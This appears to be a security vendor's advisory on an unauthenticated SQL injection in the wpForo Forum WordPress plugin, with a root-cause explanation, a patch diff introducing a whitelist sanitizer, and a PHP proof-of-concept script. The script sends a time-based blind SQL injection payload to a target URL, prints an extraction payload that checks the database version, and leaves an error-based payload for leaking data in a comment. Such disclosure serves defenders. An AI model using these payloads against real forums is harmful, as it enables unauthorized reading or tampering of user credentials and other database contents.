Atomic Edge analysis of CVE-2026-40798:
This vulnerability is an unauthenticated SQL injection in the wpForo Forum plugin for WordPress, versions up to and including 3.0.4. The flaw exists in the search and topic listing functionality. An attacker can inject SQL via the `wpfob` GET parameter. The CVSS score is 7.5 (High).
The root cause is insufficient input sanitization on the `wpfob` parameter. The vulnerable code in `wpforo/wpforo.php` at lines 1093, 1134, 1210, and 1280 uses `sanitize_text_field()` on user input before passing it to the `$args[‘orderby’]` variable. `sanitize_text_field()` strips HTML tags but does not prevent SQL injection. The `orderby` value is later used directly in SQL queries without parameterized preparation. This allows unauthenticated attackers to break out of the intended column name context and inject arbitrary SQL.
An attacker sends a GET request to any wpForo page that processes search or forum topic/post listings. The vulnerable parameter is `wpfob` (e.g., `?wpfob=INJECTION`). The injection payload can be a SQL injection string such as `(SELECT 1 FROM (SELECT SLEEP(5))a)`. No authentication is required. The attacker only needs to access a public forum page or search endpoint that triggers the vulnerable code path.
The patch replaces `sanitize_text_field()` calls with calls to a new function `wpforo_sanitize_orderby()`. In version 3.0.5, the code at lines 1093, 1134, 1210, and 1280 now uses `wpforo_sanitize_orderby( $get[‘wpfob’], ‘search’, ‘relevancy’ )` and similar calls. This new function restricts the `orderby` value to a whitelist of allowed columns specific to the context (search, topics, posts). If the user-supplied value is not in the whitelist, a safe default (e.g., ‘relevancy’, ‘modified’, ‘created’) is used instead. This prevents arbitrary SQL injection by ensuring only predefined column names reach the query.
If exploited, this SQL injection allows an unauthenticated attacker to extract sensitive information from the WordPress database. This includes user credentials (hashed passwords), email addresses, session tokens, and any other data stored in the database. The injection is blind or error-based depending on the database configuration. Full database compromise is possible. The attacker can also potentially modify or delete data.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wpforo/admin/pages/tabs/ai-features-tab-rag-indexing.php
+++ b/wpforo/admin/pages/tabs/ai-features-tab-rag-indexing.php
@@ -1181,8 +1181,9 @@
<?php endif; ?>
}
- // Auto-refresh page when background jobs are pending
- <?php if ( $has_pending_jobs ) : ?>
+ // Auto-refresh page only when actively processing (cron is due or batch running).
+ // Queued topics scheduled for future (e.g., 1h/24h auto-indexing) should NOT trigger refresh.
+ <?php if ( $pending_jobs_info['is_actively_processing'] ) : ?>
setTimeout(function() {
window.location.reload();
}, 30000); // Refresh after 30 seconds
--- a/wpforo/classes/AIContentModeration.php
+++ b/wpforo/classes/AIContentModeration.php
@@ -2495,7 +2495,7 @@
[ $id_column => $id ]
);
- WPF()->ram_cache->clean( $content_type );
+ WPF()->ram_cache->reset( $content_type );
return $result !== false;
}
--- a/wpforo/classes/TaskManager.php
+++ b/wpforo/classes/TaskManager.php
@@ -748,7 +748,7 @@
}
// Auto: resolve from board locale
- $board_locale = WPF()->board->locale;
+ $board_locale = WPF()->board->get_current( 'locale' );
foreach ( $languages as $lang ) {
if ( $lang['locale'] === $board_locale ) {
return $lang['name'];
--- a/wpforo/wpforo.php
+++ b/wpforo/wpforo.php
@@ -5,7 +5,7 @@
* Description: WordPress Forum plugin. wpForo is the only AI powered forum solution for your community. Modern design and 5 forum layouts.
* Author: gVectors Team
* Author URI: https://gvectors.com/
-* Version: 3.0.4
+* Version: 3.0.5
* Requires at least: 5.2
* Requires PHP: 7.1
* Text Domain: wpforo
@@ -14,7 +14,7 @@
namespace wpforo;
-define( 'WPFORO_VERSION', '3.0.4' );
+define( 'WPFORO_VERSION', '3.0.5' );
//Exit if accessed directly
if( ! defined( 'ABSPATH' ) ) exit;
@@ -1090,7 +1090,7 @@
'postids' => [],
];
if( ! empty( $get['wpfob'] ) ) {
- $args['orderby'] = sanitize_text_field( $get['wpfob'] );
+ $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
} elseif( in_array( wpfval( $args, 'type' ), [ 'tag', 'user-posts', 'user-topics' ], true ) ) {
$args['orderby'] = 'date';
}
@@ -1131,7 +1131,7 @@
if( wpfval( $args, 'prefixid' ) ) $args['prefix'] = (int) wpfval( $args, 'prefixid' );
$args['where'] = "`modified` > '" . gmdate( 'Y-m-d H:i:s', $end_date ) . "'";
- $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
+ $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
$args['order'] = 'DESC';
$args['offset'] = ( $current_object['paged'] - 1 ) * $current_object['items_per_page'];
$args['row_count'] = $current_object['items_per_page'];
@@ -1207,7 +1207,7 @@
$current_object['items_per_page'] = wpforo_setting( 'topics', 'posts_per_page' );
if( $view !== 'unapproved' ) $args['where'] = "`created` > '" . gmdate( 'Y-m-d H:i:s', $end_date ) . "'";
- $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
+ $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
$args['order'] = 'DESC';
$args['offset'] = ( $current_object['paged'] - 1 ) * $current_object['items_per_page'];
$args['row_count'] = $current_object['items_per_page'];
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-40798 - wpForo Forum <= 3.0.4 - Unauthenticated SQL Injection
// This PoC demonstrates time-based blind SQL injection via the wpfob parameter.
// It checks if the injection point is vulnerable by measuring response time.
$target_url = 'http://example.com/wpforo/'; // Change this to the target wpForo forum URL
// Target must have search or topic listing enabled (default wpForo setup)
// Time-based payload: SLEEP(5) delays response if injection succeeds
// We use a subquery to avoid breaking the SQL syntax
$payload = '(SELECT 1 FROM (SELECT SLEEP(5))a)';
// Build the request URL with the vulnerable parameter
$url = $target_url . '?wpfob=' . urlencode($payload);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$duration = $end_time - $start_time;
curl_close($ch);
// If the response takes >= 5 seconds, the SLEEP(5) executed -> vulnerable
if ($duration >= 5) {
echo "[VULNERABLE] SQL injection confirmed via time-based payload. Duration: " . round($duration, 2) . " seconds.n";
echo "The target is vulnerable to CVE-2026-40798.n";
echo "You can extract data by modifying the SLEEP condition. Example:n";
echo " ?wpfob=(SELECT IF(SUBSTRING(version(),1,1)=5,SLEEP(5),0))n";
} else {
echo "[NOT VULNERABLE] No time delay detected. Duration: " . round($duration, 2) . " seconds.n";
echo "The target may be patched or the wpfob parameter is not exploitable from this URL.n";
}
// Alternative payload for error-based detection (if WP_DEBUG is enabled):
// $payload = "(SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a,(SELECT version()),0x3a, FLOOR(RAND()*2)) x FROM information_schema.tables GROUP BY x) a)";
// This causes a duplicate entry error that reveals data in the error message.